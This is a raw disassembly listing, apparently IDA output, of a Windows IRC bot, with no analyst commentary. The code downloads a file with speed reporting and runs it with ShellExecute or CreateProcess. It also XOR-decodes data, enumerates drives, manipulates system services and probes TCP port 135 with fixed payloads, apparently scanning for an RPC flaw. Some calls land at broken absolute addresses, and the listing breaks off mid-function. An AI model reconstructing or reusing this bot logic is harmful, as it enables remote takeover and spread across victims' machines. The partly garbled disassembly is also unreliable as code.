var_2E0 = word ptr -2E0h var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_248 = byte ptr -248h var_148 = byte ptr -148h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp+var_2CC] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp+var_248] push esi push eax push dword_43F618 call dword_43F578 cmp eax, esi mov [ebp+var_18], eax jz loc_40CF7D push esi push esi push 2 push esi push esi lea eax, [ebp+var_148] push 40000000h push eax call near ptr 2630000h nop cmp eax, edi mov [ebp+var_20], eax jnb short loc_40CBB8 lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset unk_42E5E4 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_40CB9B push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 add esp, 14h loc_40CB9B: ; CODE XREF: sub_40CAF1+88j lea eax, [ebp+var_510] push eax call sub_40BF6D push [ebp+var_48] call sub_417078 pop ecx pop ecx push esi nop call near ptr 25E02EAh loc_40CBB8: ; CODE XREF: sub_40CAF1+68j xor edi, edi nop call near ptr 25E08E4h mov ebx, 7D000h mov dword ptr [ebp+var_8+4], eax push ebx call sub_417B89 pop ecx mov [ebp+var_1C], eax loc_40CBD2: ; CODE XREF: sub_40CAF1+1B4j push 200h lea eax, [ebp+var_510] push esi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_510] push 200h push eax push [ebp+var_18] call dword_43F580 cmp [ebp+var_34], esi jz short loc_40CC16 push [ebp+arg_0] lea eax, [ebp+var_510] push eax call sub_40CFE3 pop ecx pop ecx loc_40CC16: ; CODE XREF: sub_40CAF1+112j lea eax, [ebp+var_24] push esi push eax lea eax, [ebp+var_510] push [ebp+arg_0] push eax push [ebp+var_20] nop call near ptr 2620000h cmp edi, ebx jnb short loc_40CC54 mov eax, ebx sub eax, edi cmp eax, [ebp+arg_0] jbe short loc_40CC3E mov eax, [ebp+arg_0] loc_40CC3E: ; CODE XREF: sub_40CAF1+148j push eax lea eax, [ebp+var_510] push eax mov eax, [ebp+var_1C] add eax, edi push eax call sub_417390 add esp, 0Ch loc_40CC54: ; CODE XREF: sub_40CAF1+13Fj add edi, [ebp+arg_0] cmp [ebp+var_3C], esi jz short loc_40CC61 cmp edi, [ebp+var_3C] ja short loc_40CCAB loc_40CC61: ; CODE XREF: sub_40CAF1+169j cmp [ebp+var_44], 1 mov eax, edi jz short loc_40CC7B shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset unk_42E59C jmp short loc_40CC8B ; --------------------------------------------------------------------------- loc_40CC7B: ; CODE XREF: sub_40CAF1+176j shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset unk_42E55C loc_40CC8B: ; CODE XREF: sub_40CAF1+188j mov eax, [ebp+var_48] imul eax, 234h add eax, offset dword_444EC0 push eax call sub_4172B0 add esp, 10h cmp [ebp+arg_0], esi ja loc_40CBD2 loc_40CCAB: ; CODE XREF: sub_40CAF1+16Ej cmp [ebp+var_3C], esi mov [ebp+var_14], 1 jz short loc_40CD00 cmp edi, [ebp+var_3C] jz short loc_40CD00 push [ebp+var_3C] lea eax, [ebp+var_510] mov [ebp+var_14], esi push edi push offset unk_42E518 push eax call sub_4172B0 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 lea eax, [ebp+var_510] push eax call sub_40BF6D add esp, 28h loc_40CD00: ; CODE XREF: sub_40CAF1+1C4j ; sub_40CAF1+1C9j nop call near ptr 25E08E4h sub eax, dword ptr [ebp+var_8+4] xor edx, edx mov ecx, 3E8h push [ebp+var_20] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax nop call near ptr 2611A31h push [ebp+var_1C] call sub_417C3B cmp [ebp+var_38], esi pop ecx jz short loc_40CD8A lea eax, [ebp+var_148] push eax call sub_40C259 cmp eax, [ebp+var_38] pop ecx jz short loc_40CD8A push [ebp+var_38] mov [ebp+var_14], esi push eax lea eax, [ebp+var_510] push offset unk_42E4E0 push eax call sub_4172B0 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 lea eax, [ebp+var_510] push eax call sub_40BF6D add esp, 28h loc_40CD8A: ; CODE XREF: sub_40CAF1+241j ; sub_40CAF1+253j cmp [ebp+var_14], esi jz loc_40CFCA cmp [ebp+var_44], 1 jz loc_40CE85 mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_424698 lea eax, [ebp+var_148] fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_424698 fstp [esp+590h+var_590] push offset unk_42E498 push eax call sub_4172B0 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_40CE05 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 add esp, 14h loc_40CE05: ; CODE XREF: sub_40CAF1+2F2j lea eax, [ebp+var_510] push eax call sub_40BF6D cmp [ebp+var_40], 1 pop ecx jnz loc_40CFCA push 5 push esi lea eax, [ebp+var_148] push esi push eax push offset aOpen ; "open" push esi call dword_43F5DC cmp [ebp+var_30], esi jnz loc_40CFCA lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset dword_42E464 push eax call sub_4172B0 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 lea eax, [ebp+var_510] push eax call sub_40BF6D add esp, 24h jmp loc_40CFCA ; --------------------------------------------------------------------------- loc_40CE85: ; CODE XREF: sub_40CAF1+2A6j mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_424698 lea eax, [ebp+var_148] fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_424698 fstp [esp+590h+var_590] push offset unk_42E414 push eax call sub_4172B0 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_40CEED push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 add esp, 14h loc_40CEED: ; CODE XREF: sub_40CAF1+3DAj lea eax, [ebp+var_510] push eax call sub_40BF6D push 10h lea eax, [ebp+var_10] push esi push eax call sub_417330 push 44h lea eax, [ebp+var_310] pop edi push edi push esi push eax call sub_417330 add esp, 1Ch mov [ebp+var_310], edi lea eax, [ebp+var_10] mov [ebp+var_304], offset byte_43C80C push 1 mov [ebp+var_2E0], si pop edi push eax lea eax, [ebp+var_310] push eax push esi push esi push 28h push esi push esi lea eax, [ebp+var_148] push esi push eax push esi mov [ebp+var_2E4], edi call near ptr 274056Fh nop cmp eax, edi jnz short loc_40CF6F call dword_43F5C8 call sub_40AC42 push esi nop call near ptr 77E75CB5h loc_40CF6F: ; CODE XREF: sub_40CAF1+46Aj lea eax, [ebp+var_148] push eax push offset unk_42E3CC jmp short loc_40CF89 ; --------------------------------------------------------------------------- loc_40CF7D: ; CODE XREF: sub_40CAF1+45j lea eax, [ebp+var_248] push eax push offset unk_42E390 loc_40CF89: ; CODE XREF: sub_40CAF1+48Aj lea eax, [ebp+var_510] push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_40CFBD push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 add esp, 14h loc_40CFBD: ; CODE XREF: sub_40CAF1+4AAj lea eax, [ebp+var_510] push eax call sub_40BF6D pop ecx loc_40CFCA: ; CODE XREF: sub_40CAF1+29Cj ; sub_40CAF1+325j ... push [ebp+var_18] call dword_43F69C push [ebp+var_48] call sub_417078 pop ecx push esi nop call near ptr 25E02EAh sub_40CAF1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40CFE3 proc near ; CODE XREF: sub_40CAF1+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_40CFFF loc_40CFEF: ; CODE XREF: sub_40CFE3+1Aj mov dl, byte_42F5C4 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_40CFEF locret_40CFFF: ; CODE XREF: sub_40CFE3+Aj retn sub_40CFE3 endp ; =============== S U B R O U T I N E ======================================= sub_40D000 proc near ; CODE XREF: sub_40EE72+2A7Ep ; sub_40EE72+2BA4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_4197F9 pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_40D000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D01A proc near ; CODE XREF: sub_406387+458p ; sub_406387+5FDp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_443A38 push 0 push edi call sub_417330 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_40D03F: ; CODE XREF: sub_40D01A+5Bj ; sub_40D01A+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_4191D0 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_419250 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_40D07D inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_40D03F mov byte ptr [esi], 2Ch inc esi jmp short loc_40D03F ; --------------------------------------------------------------------------- loc_40D07D: ; CODE XREF: sub_40D01A+4Bj dec esi mov eax, edi loc_40D080: ; CODE XREF: sub_40D01A+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_40D08F mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_40D080 ; --------------------------------------------------------------------------- loc_40D08F: ; CODE XREF: sub_40D01A+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_40D01A endp ; =============== S U B R O U T I N E ======================================= sub_40D099 proc near ; CODE XREF: sub_40D24E+51p ; sub_40D24E+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_43F6C8 sub eax, 0 jz short loc_40D0DC dec eax jz short loc_40D0D6 dec eax dec eax jz short loc_40D0D0 dec eax jz short loc_40D0CA dec eax jz short loc_40D0C4 dec eax jz short loc_40D0BE mov eax, offset word_42DDD0 retn ; --------------------------------------------------------------------------- loc_40D0BE: ; CODE XREF: sub_40D099+1Dj mov eax, offset off_42E644 retn ; --------------------------------------------------------------------------- loc_40D0C4: ; CODE XREF: sub_40D099+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_40D0CA: ; CODE XREF: sub_40D099+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_40D0D0: ; CODE XREF: sub_40D099+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_40D0D6: ; CODE XREF: sub_40D099+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_40D0DC: ; CODE XREF: sub_40D099+Dj mov eax, offset aUnknown ; "Unknown" retn sub_40D099 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D0E2 proc near ; CODE XREF: sub_40D12A+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_43F564 test eax, eax jz short loc_40D117 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax loc_40D117: ; CODE XREF: sub_40D0E2+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_40D0E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D12A proc near ; CODE XREF: sub_40B8D8+1F3p ; sub_40D24E+17p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_40D0E2 pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_40D208 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_40D208 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_40D208 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_419840 push edx push eax call sub_40D01A pop ecx mov edi, offset aSkb ; "%sKB" pop ecx mov esi, 80h push eax push edi lea eax, [ebp+var_198] push esi push eax call sub_41782A add esp, 10h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_419840 push edx push eax call sub_40D01A pop ecx pop ecx push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41782A add esp, 10h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_419840 push edx push eax call sub_40D01A pop ecx pop ecx push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41782A add esp, 10h pop ebx jmp short loc_40D23A ; --------------------------------------------------------------------------- loc_40D208: ; CODE XREF: sub_40D12A+2Cj ; sub_40D12A+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_4172B0 pop ecx lea eax, [ebp+var_118] pop ecx push esi push eax call sub_4172B0 pop ecx lea eax, [ebp+var_98] pop ecx push esi push eax call sub_4172B0 pop ecx pop ecx loc_40D23A: ; CODE XREF: sub_40D12A+DCj mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_40D12A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D24E proc near ; CODE XREF: sub_40D320+17p ; sub_40D320+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_40D12A push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_4176D0 add esp, 10h test eax, eax jnz short loc_40D2C1 push ebx push ebx call sub_40D099 pop ecx push eax push offset unk_42E6A4 lea eax, [ebp+var_500] push 200h push eax call sub_41782A add esp, 14h jmp short loc_40D2F5 ; --------------------------------------------------------------------------- loc_40D2C1: ; CODE XREF: sub_40D24E+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_40D099 pop ecx push eax push offset unk_42E658 lea eax, [ebp+var_500] push 200h push eax call sub_41782A add esp, 20h loc_40D2F5: ; CODE XREF: sub_40D24E+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_500] push eax call sub_40BF6D add esp, 18h pop edi pop esi pop ebx leave retn sub_40D24E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D320 proc near ; CODE XREF: sub_40EE72+57F0p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_40D341 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40D24E add esp, 10h jmp short loc_40D3A2 ; --------------------------------------------------------------------------- loc_40D341: ; CODE XREF: sub_40D320+9j push esi push edi push ebx push ebx call dword_43F5D8 lea esi, [eax+2] push esi call sub_417B89 pop ecx mov edi, eax push edi push esi call dword_43F5D8 cmp [edi], bl mov esi, edi jz short loc_40D399 loc_40D365: ; CODE XREF: sub_40D320+77j push offset aA_0 ; "A:\\" push esi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40D388 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40D24E add esp, 10h loc_40D388: ; CODE XREF: sub_40D320+54j push esi call sub_417AB0 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_40D365 loc_40D399: ; CODE XREF: sub_40D320+43j push edi call sub_417C3B pop ecx pop edi pop esi loc_40D3A2: ; CODE XREF: sub_40D320+1Fj pop ebx pop ebp retn sub_40D320 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D3A5 proc near ; DATA XREF: ___:0040E6BAo var_2B8 = dword ptr -2B8h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_4450CC call dword_43F700 call sub_416F25 call dword_43F5C8 call dword_43F5C8 mov ebx, dword_424064 push 64h call ebx xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417330 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_417330 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset byte_43C80C mov [ebp+var_28], 1 mov [ebp+var_24], di call near ptr 25F048Fh nop lea eax, [ebp+var_158] push esi push eax push edi nop call near ptr 2640000h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call near ptr 274056Fh nop test eax, eax jz short loc_40D46A push 64h call ebx push [ebp+var_10] mov esi, dword_424078 call esi push [ebp+var_C] call esi loc_40D46A: ; CODE XREF: sub_40D3A5+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_443A70 mov eax, [esp+2B8h+var_2B8] mov large fs:0, eax add esp, 8 push edi call near ptr 77E75CB5h nop pop edi pop esi pop ebx sub_40D3A5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D48D proc near ; CODE XREF: sub_40D4C5+125p ; sub_40D4C5+14Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_40D4BB loc_40D49E: ; CODE XREF: sub_40D48D+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_4198F0 add esp, 0Ch test eax, eax jz short loc_40D4C1 inc esi cmp esi, edi jl short loc_40D49E loc_40D4BB: ; CODE XREF: sub_40D48D+Fj xor al, al loc_40D4BD: ; CODE XREF: sub_40D48D+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_40D4C1: ; CODE XREF: sub_40D48D+27j mov al, 1 jmp short loc_40D4BD sub_40D48D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D4C5 proc near ; CODE XREF: sub_402DD7+8Bp ; sub_402DD7+174p var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_417B30 mov eax, [ebp+arg_4] push esi dec eax push edi jz short loc_40D506 dec eax jz short loc_40D4E4 dec eax loc_40D4DE: ; CODE XREF: sub_40D4C5+57j xor eax, eax loc_40D4E0: ; CODE XREF: sub_40D4C5+3Fj ; sub_40D4C5+169j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_40D4E4: ; CODE XREF: sub_40D4C5+16j push 3 push 1388h push [ebp+arg_0] call dword_43F6A8 push eax call sub_4076CA add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_40D4E0 ; --------------------------------------------------------------------------- loc_40D506: ; CODE XREF: sub_40D4C5+13j push 6 push 1 push 2 call dword_43F6E8 mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz short loc_40D4DE push ebx xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push 87h call dword_43F668 push [ebp+arg_0] mov [ebp+var_E], ax call sub_40ADCA pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push esi call dword_43F610 cmp eax, edi jz loc_40D622 push ebx push 48h push offset dword_42E6F4 push esi call dword_43F6B8 cmp eax, edi jz loc_40D622 mov esi, 2000h push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_43F680 cmp eax, edi jz loc_40D622 cmp [ebp+var_200E], 0Ch jnz short loc_40D622 push ebx push 18h push offset dword_42E740 push [ebp+arg_4] call dword_43F6B8 cmp eax, edi jz short loc_40D622 push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_43F680 mov esi, eax cmp esi, edi jz short loc_40D622 cmp [ebp+var_200E], 2 jnz short loc_40D622 push 10h push offset loc_42E75C lea eax, [ebp+var_2010] push esi push eax call sub_40D48D add esp, 10h test al, al jz short loc_40D602 cmp esi, 12Ch setnl bl inc ebx jmp short loc_40D622 ; --------------------------------------------------------------------------- loc_40D602: ; CODE XREF: sub_40D4C5+12Fj push 10h push offset dword_42E770 lea eax, [ebp+var_2010] push esi push eax call sub_40D48D add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_40D622: ; CODE XREF: sub_40D4C5+9Bj ; sub_40D4C5+B2j ... push [ebp+arg_4] call dword_43F700 mov eax, ebx pop ebx jmp loc_40D4E0 sub_40D4C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D633 proc near ; CODE XREF: sub_40ECFA+3Dp ; sub_40EE72+1CBp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_4193FF add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43F6B8 leave retn sub_40D633 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D679 proc near ; CODE XREF: sub_401000+8Bp ; sub_40144A+76p ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_40D694 mov edi, offset aPrivmsg ; "PRIVMSG" loc_40D694: ; CODE XREF: sub_40D679+14j push edi call sub_417AB0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_417AB0 pop ecx sub esi, eax pop ecx lea eax, [ebp+var_400] push [ebp+arg_8] push offset aS_1 ; "%s" push esi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset dword_42E784 push eax call sub_4172B0 add esp, 14h lea eax, [ebp+var_200] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43F6B8 cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_40D717 push 7D0h call near ptr 25F0439h nop locret_40D717: ; CODE XREF: sub_40D679+91j leave retn sub_40D679 endp ; =============== S U B R O U T I N E ======================================= sub_40D719 proc near ; CODE XREF: sub_40EE72:loc_410F84p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_40D771 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_42E7A8[esi] push edi push eax call sub_40D793 add esp, 14h test eax, eax jnz short loc_40D761 push edi push off_42E7A4[esi] push offset dword_42E8D4 loc_40D751: ; CODE XREF: sub_40D719+56j mov esi, offset dword_444138 push esi call sub_4172B0 add esp, 10h jmp short loc_40D78E ; --------------------------------------------------------------------------- loc_40D761: ; CODE XREF: sub_40D719+2Aj push eax call sub_40D835 pop ecx push eax push edi push offset dword_42E89C jmp short loc_40D751 ; --------------------------------------------------------------------------- loc_40D771: ; CODE XREF: sub_40D719+Cj lea eax, [eax+eax*2] mov esi, offset dword_444138 push off_42E7A0[eax*4] push offset dword_42E868 push esi call sub_4172B0 add esp, 0Ch loc_40D78E: ; CODE XREF: sub_40D719+46j mov eax, esi pop edi pop esi retn sub_40D719 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D793 proc near ; CODE XREF: sub_40D719+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_43F65C mov edi, eax cmp edi, ebx jnz short loc_40D7BA nop call near ptr 2630313h mov ebx, eax jmp short loc_40D82F ; --------------------------------------------------------------------------- loc_40D7BA: ; CODE XREF: sub_40D793+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_43F550 mov esi, eax cmp esi, ebx jnz short loc_40D7DA nop call near ptr 2630313h mov ebx, eax jmp short loc_40D827 ; --------------------------------------------------------------------------- loc_40D7DA: ; CODE XREF: sub_40D793+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_40D80D cmp eax, 3 jz short loc_40D7FE jle short loc_40D820 cmp eax, 6 jg short loc_40D820 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_43F5B8 jmp short loc_40D814 ; --------------------------------------------------------------------------- loc_40D7FE: ; CODE XREF: sub_40D793+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_43F558 jmp short loc_40D814 ; --------------------------------------------------------------------------- loc_40D80D: ; CODE XREF: sub_40D793+4Dj push esi call dword_43F5BC loc_40D814: ; CODE XREF: sub_40D793+69j ; sub_40D793+78j test eax, eax jnz short loc_40D820 nop call near ptr 2630313h mov ebx, eax loc_40D820: ; CODE XREF: sub_40D793+54j ; sub_40D793+59j ... push esi call dword_43F56C loc_40D827: ; CODE XREF: sub_40D793+45j push edi call dword_43F56C pop esi loc_40D82F: ; CODE XREF: sub_40D793+25j mov eax, ebx pop edi pop ebx leave retn sub_40D793 endp ; =============== S U B R O U T I N E ======================================= sub_40D835 proc near ; CODE XREF: sub_40D719+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_40D8EA jz loc_40D8E3 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_40D8AD jz short loc_40D8A3 mov ecx, eax sub ecx, 3 jz short loc_40D899 dec ecx dec ecx jz short loc_40D88F dec ecx jz short loc_40D885 sub ecx, 51h jz short loc_40D87B sub ecx, 24h jnz loc_40D960 ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D87B: ; CODE XREF: sub_40D835+31j push 